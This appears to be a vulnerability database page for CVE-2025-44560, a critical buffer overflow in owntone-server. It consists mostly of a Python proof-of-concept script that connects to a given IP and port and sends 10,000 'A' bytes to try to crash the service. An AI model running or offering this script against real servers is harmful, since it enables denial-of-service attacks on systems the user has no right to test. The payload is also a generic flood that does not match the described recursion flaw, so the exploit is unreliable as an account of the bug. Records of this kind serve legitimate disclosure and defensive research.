owntone-server 2ca10d9 is vulnerable to Buffer Overflow due to lack of recursive checking.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
owntone-server (commit 2ca10d9)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2025-44560
# This script demonstrates the buffer overflow vulnerability in owntone-server
# by sending a payload that triggers the lack of recursive checking.
import socket
import sys
def send_exploit(target_ip, target_port):
try:
# Create a malicious payload designed to trigger recursion overflow
# Adjust payload size based on specific stack limits if known
payload = b"A" * 10000
print(f"[*] Connecting to {target_ip}:{target_port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
print("[*] Sending malicious payload...")
s.send(payload)
print("[*] Payload sent. Check if the service crashed.")
s.close()
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python cve_2025_44560_poc.py <IP> <PORT>")
sys.exit(1)
send_exploit(sys.argv[1], int(sys.argv[2]))